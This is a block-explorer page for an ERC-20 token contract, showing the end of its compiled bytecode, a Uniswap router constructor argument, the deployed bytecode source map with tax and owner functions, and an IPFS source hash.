01600160a01b0381168114610e0b575f80fd5b50565b5f8060408385031215610e1f575f80fd5b8235610e2a81610df7565b946020939093013593505050565b5f805f60608486031215610e4a575f80fd5b8335610e5581610df7565b92506020840135610e6581610df7565b929592945050506040919091013590565b5f60208284031215610e86575f80fd5b8135610bf481610df7565b5f60208284031215610ea1575f80fd5b5035919050565b5f8060408385031215610eb9575f80fd5b8235610ec481610df7565b91506020830135610ed481610df7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610f2d57815f1904821115610f1357610f13610edf565b80851615610f2057918102915b93841c9390800290610ef8565b509250929050565b5f82610f4357506001610451565b81610f4f57505f610451565b8160018114610f655760028114610f6f57610f8b565b6001915050610451565b60ff841115610f8057610f80610edf565b50506001821b610451565b5060208310610133831016604e8410600b8410161715610fae575081810a610451565b610fb88383610ef3565b805f1904821115610fcb57610fcb610edf565b029392505050565b5f610bf460ff841683610f35565b808202811582820484141761045157610451610edf565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f8261104757634e487b7160e01b5f52601260045260245ffd5b500490565b8082018082111561045157610451610edf565b5f6020828403121561106f575f80fd5b5051919050565b8181038181111561045157610451610edf565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156110ad575f80fd5b8151610bf481610df7565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156111065784516001600160a01b0316835293830193918301916001016110e1565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220255fb9cefd09358d9dbd9a166cb07857e2c510245b0ab1009182633f1215ae8b64736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000adc76794a2f60ca7d4e47668978f434e596c8807

-----Decoded View---------------
Arg [0] : _uniswapRouter (address): 0xAdC76794A2F60CA7d4e47668978F434e596c8807

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000adc76794a2f60ca7d4e47668978f434e596c8807


Deployed Bytecode Sourcemap

3894:6595:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5964:83;;;;;;;;;;-1:-1:-1;6034:5:0;;;;;;;;;;;;-1:-1:-1;;;6034:5:0;;;;5964:83;;;;;;;:::i;:::-;;;;;;;;6756:186;;;;;;;;;;-1:-1:-1;6756:186:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6756:186:0;1023:187:1;6150:95:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6150:95:0;1215:177:1;6950:446:0;;;;;;;;;;-1:-1:-1;6950:446:0;;;;;:::i;:::-;;:::i;4676:27::-;;;;;;;;;;;;;;;;5873:83;;;;;;;;;;-1:-1:-1;5873:83:0;;4015:1;2000:36:1;;1988:2;1973:18;5873:83:0;1858:184:1;4643:26:0;;;;;;;;;;;;;;;;4773:28;;;;;;;;;;-1:-1:-1;4773:28:0;;;;-1:-1:-1;;;;;4773:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4773:28:0;2047:203:1;6253:119:0;;;;;;;;;;-1:-1:-1;6253:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6346:18:0;6319:7;6346:18;;;:9;:18;;;;;;;6253:119;2919:148;;;;;;;;;;;;;:::i;:::-;;10263:186;;;;;;;;;;;;;:::i;10174:81::-;;;;;;;;;;;;;:::i;2705:79::-;;;;;;;;;;-1:-1:-1;2743:7:0;2770:6;-1:-1:-1;;;;;2770:6:0;2705:79;;6055:87;;;;;;;;;;-1:-1:-1;6127:7:0;;;;;;;;;;;;-1:-1:-1;;;6127:7:0;;;;6055:87;;6380:192;;;;;;;;;;-1:-1:-1;6380:192:0;;;;;:::i;:::-;;:::i;10033:129::-;;;;;;;;;;-1:-1:-1;10033:129:0;;;;;:::i;:::-;;:::i;4023:39::-;;;;;;;;;;-1:-1:-1;4023:39:0;;;;-1:-1:-1;;;4023:39:0;;;;;;4254:63;;;;;;;;;;-1:-1:-1;4254:63:0;;;;;:::i;:::-;;;;;;;;;;;;;;6580:168;;;;;;;;;;-1:-1:-1;6580:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6713:18:0;;;6686:7;6713:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6580:168;4998:50;;;;;;;;;;;;;;;;4395:46;;;;;;;;;;;;;;;;4587:23;;;;;;;;;;-1:-1:-1;4587:23:0;;;;-1:-1:-1;;;4587:23:0;;;;;;6756:186;6856:4;6873:39;320:10;6896:7;6905:6;6873:8;:39::i;:::-;-1:-1:-1;6930:4:0;6756:186;;;;;:::o;6150:95::-;6203:7;4373:15;4015:1;4373:2;:15;:::i;:::-;4359:29;;:11;:29;:::i;:::-;6223:14;;6150:95;:::o;6950:446::-;7082:4;7099:36;7109:6;7117:9;7128:6;7099:9;:36::i;:::-;7146:220;7169:6;320:10;7217:138;7273:6;7217:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7217:19:0;;;;;;:11;:19;;;;;;;;320:10;7217:33;;;;;;;;;;:37;:138::i;:::-;7146:8;:220::i;:::-;-1:-1:-1;7384:4:0;6950:446;;;;;:::o;2919:148::-;2832:6;;-1:-1:-1;;;;;2832:6:0;320:10;2832:22;2824:67;;;;-1:-1:-1;;;2824:67:0;;;;;;;:::i;:::-;;;;;;;;;3026:1:::1;3010:6:::0;;2989:40:::1;::::0;-1:-1:-1;;;;;3010:6:0;;::::1;::::0;2989:40:::1;::::0;3026:1;;2989:40:::1;3057:1;3040:19:::0;;-1:-1:-1;;;;;;3040:19:0::1;::::0;;2919:148::o;10263:186::-;2832:6;;-1:-1:-1;;;;;2832:6:0;320:10;2832:22;2824:67;;;;-1:-1:-1;;;2824:67:0;;;;;;;:::i;:::-;4373:15:::1;4015:1;4373:2;:15;:::i;:::-;4359:29;::::0;:11:::1;:29;:::i;:::-;10317:9;:19:::0;10356:12:::1;::::0;10347:6:::1;:21:::0;10389:13:::1;::::0;10379:7:::1;:23:::0;-1:-1:-1;10413:28:0;;-1:-1:-1;;;;10413:28:0::1;::::0;;10263:186::o;10174:81::-;2832:6;;-1:-1:-1;;;;;2832:6:0;320:10;2832:22;2824:67;;;;-1:-1:-1;;;2824:67:0;;;;;;;:::i;:::-;10229:11:::1;:18:::0;;-1:-1:-1;;;;10229:18:0::1;-1:-1:-1::0;;;10229:18:0::1;::::0;;10174:81::o;6380:192::-;6483:4;6500:42;320:10;6524:9;6535:6;6500:9;:42::i;10033:129::-;2832:6;;-1:-1:-1;;;;;2832:6:0;320:10;2832:22;2824:67;;;;-1:-1:-1;;;2824:67:0;;;;;;;:::i;:::-;10138:16:::1;4015:1:::0;10138:2:::1;:16;:::i;:::-;10129:25;::::0;:6;:25:::1;:::i;:::-;10107:19;:47:::0;-1:-1:-1;10033:129:0:o;7404:177::-;-1:-1:-1;;;;;7489:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7541:32;;1361:25:1;;;7541:32:0;;1334:18:1;7541:32:0;;;;;;;7404:177;;;:::o;7589:1722::-;-1:-1:-1;;;;;7702:25:0;;7669:17;7702:25;;;:19;:25;;;;;;;;7701:26;:54;;;;-1:-1:-1;;;;;;7732:23:0;;;;;;:19;:23;;;;;;;;7731:24;7701:54;7697:1219;;;7780:11;;-1:-1:-1;;;7780:11:0;;;;7772:33;;;;-1:-1:-1;;;7772:33:0;;5336:2:1;7772:33:0;;;5318:21:1;5375:1;5355:18;;;5348:29;-1:-1:-1;;;5393:18:1;;;5386:39;5442:18;;7772:33:0;5134:332:1;7772:33:0;7858:15;;-1:-1:-1;;;;;7844:30:0;;;7858:15;;7844:30;;;;:79;;-1:-1:-1;7909:13:0;;-1:-1:-1;;;;;7895:28:0;;;7909:13;;7895:28;;7844:79;7822:455;;;-1:-1:-1;;;;;7988:32:0;;;;;;:28;:32;;;;;;8023:12;-1:-1:-1;7958:194:0;;;;-1:-1:-1;;;7958:194:0;;5673:2:1;7958:194:0;;;5655:21:1;5712:2;5692:18;;;5685:30;5751:34;5731:18;;;5724:62;5822:34;5802:18;;;5795:62;-1:-1:-1;;;5873:19:1;;;5866:40;5923:19;;7958:194:0;5471:477:1;7958:194:0;-1:-1:-1;;;;;8175:32:0;;;;;;:28;:32;;;;;;:37;;8171:90;;-1:-1:-1;;;;;8214:32:0;;;;;;:28;:32;;;;;8249:12;8214:47;;8171:90;8319:13;;-1:-1:-1;;;;;8319:13:0;;;8311:21;;;;8307:254;;8385:3;8375:6;;8366;:15;;;;:::i;:::-;8365:23;;;;:::i;:::-;8353:35;;8463:9;;8453:6;8437:13;8447:2;-1:-1:-1;;;;;6346:18:0;6319:7;6346:18;;;:9;:18;;;;;;;6253:119;8437:13;:22;;;;:::i;:::-;:35;;8407:138;;;;-1:-1:-1;;;8407:138:0;;6507:2:1;8407:138:0;;;6489:21:1;6546:2;6526:18;;;6519:30;6585:31;6565:18;;;6558:59;6634:18;;8407:138:0;6305:353:1;8407:138:0;8587:13;;-1:-1:-1;;;;;8587:13:0;;;8581:19;;;;8577:96;;8654:3;8643:7;;8634:6;:16;;;;:::i;:::-;8633:24;;;;:::i;:::-;8621:36;;8577:96;8712:6;;-1:-1:-1;;;8712:6:0;;;;8711:7;:47;;;;-1:-1:-1;8745:13:0;;-1:-1:-1;;;;;8739:19:0;;;8745:13;;8739:19;8711:47;:114;;;;-1:-1:-1;8806:19:0;;8797:4;6319:7;6346:18;;;:9;:18;;;;;;8779:46;8711:114;8689:216;;;8860:29;8869:19;;8860:8;:29::i;:::-;8932:13;;8928:172;;9007:4;6319:7;6346:18;;;:9;:18;;;;;;8989:39;;9018:9;;8989:24;:28;;:39::i;:::-;8980:4;8962:24;;;;:9;:24;;;;;;;:66;;;;9048:40;;-1:-1:-1;;;;;9048:40:0;;;;;;;9078:9;1361:25:1;;1349:2;1334:18;;1215:177;9048:40:0;;;;;;;;8928:172;9135:15;;9128:39;;-1:-1:-1;;;9128:39:0;;-1:-1:-1;;;;;2211:32:1;;;9128:39:0;;;2193:51:1;9128::0;;9172:6;;9135:15;;;9128:33;;2166:18:1;;9128:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:43;;:51::i;:::-;-1:-1:-1;;;;;9110:15:0;;;;;;:9;:15;;;;;:69;9206:40;9224:21;:6;9235:9;9224:10;:21::i;:::-;-1:-1:-1;;;;;6346:18:0;;6319:7;6346:18;;;:9;:18;;;;;;9206:13;6253:119;9206:40;-1:-1:-1;;;;;9190:13:0;;;;;;;:9;:13;;;;;:56;;;;9262:41;;;9281:21;:6;9292:9;9281:10;:21::i;:::-;9262:41;;1361:25:1;;;1349:2;1334:18;9262:41:0;;;;;;;7658:1653;7589:1722;;;:::o;1507:224::-;1627:7;1663:12;1655:6;;;;1647:29;;;;-1:-1:-1;;;1647:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1687:9:0;1699:5;1703:1;1699;:5;:::i;:::-;1687:17;1507:224;-1:-1:-1;;;;;1507:224:0:o;9319:215::-;9372:12;9395:24;9412:6;9395:16;:24::i;:::-;9452:10;;9444:82;;-1:-1:-1;;;;;9452:10:0;;;;9490:21;;9444:82;;;;9490:21;9452:10;9444:82;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9319:215:0:o;1176:179::-;1234:7;;1266:5;1270:1;1266;:5;:::i;:::-;1254:17;;1295:1;1290;:6;;1282:46;;;;-1:-1:-1;;;1282:46:0;;7397:2:1;1282:46:0;;;7379:21:1;7436:2;7416:18;;;7409:30;7475:29;7455:18;;;7448:57;7522:18;;1282:46:0;7195:351:1;1282:46:0;1346:1;1176:179;-1:-1:-1;;;1176:179:0:o;1363:136::-;1421:7;1448:43;1452:1;1455;1448:43;;;;;;;;;;;;;;;;;:3;:43::i;9542:483::-;5091:6;:13;;-1:-1:-1;;;;5091:13:0;-1:-1:-1;;;5091:13:0;;;9644:16:::1;::::0;;9658:1:::1;9644:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9644:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9644:16:0::1;9620:40;;9689:4;9671;9676:1;9671:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9671:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9715:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9715:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9671:7;;9715:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9705:4;9710:1;9705:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9705:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9780:15:::1;::::0;9748:62:::1;::::0;9765:4:::1;::::0;9780:15:::1;9798:11:::0;9748:8:::1;:62::i;:::-;9821:15;::::0;:196:::1;::::0;-1:-1:-1;;;9821:196:0;;-1:-1:-1;;;;;9821:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9902:11;;9821:15:::1;::::0;9944:4;;9971::::1;::::0;9991:15:::1;::::0;9821:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5127:6:0;:14;;-1:-1:-1;;;;5127:14:0;;;-1:-1:-1;;;;9542:483:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:180::-;2566:6;2619:2;2607:9;2598:7;2594:23;2590:32;2587:52;;;2635:1;2632;2625:12;2587:52;-1:-1:-1;2658:23:1;;2507:180;-1:-1:-1;2507:180:1:o;2692:388::-;2760:6;2768;2821:2;2809:9;2800:7;2796:23;2792:32;2789:52;;;2837:1;2834;2827:12;2789:52;2876:9;2863:23;2895:31;2920:5;2895:31;:::i;:::-;2945:5;-1:-1:-1;3002:2:1;2987:18;;2974:32;3015:33;2974:32;3015:33;:::i;:::-;3067:7;3057:17;;;2692:388;;;;;:::o;3085:127::-;3146:10;3141:3;3137:20;3134:1;3127:31;3177:4;3174:1;3167:15;3201:4;3198:1;3191:15;3217:422;3306:1;3349:5;3306:1;3363:270;3384:7;3374:8;3371:21;3363:270;;;3443:4;3439:1;3435:6;3431:17;3425:4;3422:27;3419:53;;;3452:18;;:::i;:::-;3502:7;3492:8;3488:22;3485:55;;;3522:16;;;;3485:55;3601:22;;;;3561:15;;;;3363:270;;;3367:3;3217:422;;;;;:::o;3644:806::-;3693:5;3723:8;3713:80;;-1:-1:-1;3764:1:1;3778:5;;3713:80;3812:4;3802:76;;-1:-1:-1;3849:1:1;3863:5;;3802:76;3894:4;3912:1;3907:59;;;;3980:1;3975:130;;;;3887:218;;3907:59;3937:1;3928:10;;3951:5;;;3975:130;4012:3;4002:8;3999:17;3996:43;;;4019:18;;:::i;:::-;-1:-1:-1;;4075:1:1;4061:16;;4090:5;;3887:218;;4189:2;4179:8;4176:16;4170:3;4164:4;4161:13;4157:36;4151:2;4141:8;4138:16;4133:2;4127:4;4124:12;4120:35;4117:77;4114:159;;;-1:-1:-1;4226:19:1;;;4258:5;;4114:159;4305:34;4330:8;4324:4;4305:34;:::i;:::-;4375:6;4371:1;4367:6;4363:19;4354:7;4351:32;4348:58;;;4386:18;;:::i;:::-;4424:20;;3644:806;-1:-1:-1;;;3644:806:1:o;4455:140::-;4513:5;4542:47;4583:4;4573:8;4569:19;4563:4;4542:47;:::i;4600:168::-;4673:9;;;4704;;4721:15;;;4715:22;;4701:37;4691:71;;4742:18;;:::i;4773:356::-;4975:2;4957:21;;;4994:18;;;4987:30;5053:34;5048:2;5033:18;;5026:62;5120:2;5105:18;;4773:356::o;5953:217::-;5993:1;6019;6009:132;;6063:10;6058:3;6054:20;6051:1;6044:31;6098:4;6095:1;6088:15;6126:4;6123:1;6116:15;6009:132;-1:-1:-1;6155:9:1;;5953:217::o;6175:125::-;6240:9;;;6261:10;;;6258:36;;;6274:18;;:::i;6663:184::-;6733:6;6786:2;6774:9;6765:7;6761:23;6757:32;6754:52;;;6802:1;6799;6792:12;6754:52;-1:-1:-1;6825:16:1;;6663:184;-1:-1:-1;6663:184:1:o;6852:128::-;6919:9;;;6940:11;;;6937:37;;;6954:18;;:::i;7683:127::-;7744:10;7739:3;7735:20;7732:1;7725:31;7775:4;7772:1;7765:15;7799:4;7796:1;7789:15;7815:251;7885:6;7938:2;7926:9;7917:7;7913:23;7909:32;7906:52;;;7954:1;7951;7944:12;7906:52;7986:9;7980:16;8005:31;8030:5;8005:31;:::i;8071:980::-;8333:4;8381:3;8370:9;8366:19;8412:6;8401:9;8394:25;8438:2;8476:6;8471:2;8460:9;8456:18;8449:34;8519:3;8514:2;8503:9;8499:18;8492:31;8543:6;8578;8572:13;8609:6;8601;8594:22;8647:3;8636:9;8632:19;8625:26;;8686:2;8678:6;8674:15;8660:29;;8707:1;8717:195;8731:6;8728:1;8725:13;8717:195;;;8796:13;;-1:-1:-1;;;;;8792:39:1;8780:52;;8887:15;;;;8852:12;;;;8828:1;8746:9;8717:195;;;-1:-1:-1;;;;;;;8968:32:1;;;;8963:2;8948:18;;8941:60;-1:-1:-1;;;9032:3:1;9017:19;9010:35;8929:3;8071:980;-1:-1:-1;;;8071:980:1:o

Swarm Source

ipfs://255fb9cefd09358d9dbd9a166cb07857e2c510245b0ab1009182633f1215ae8b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.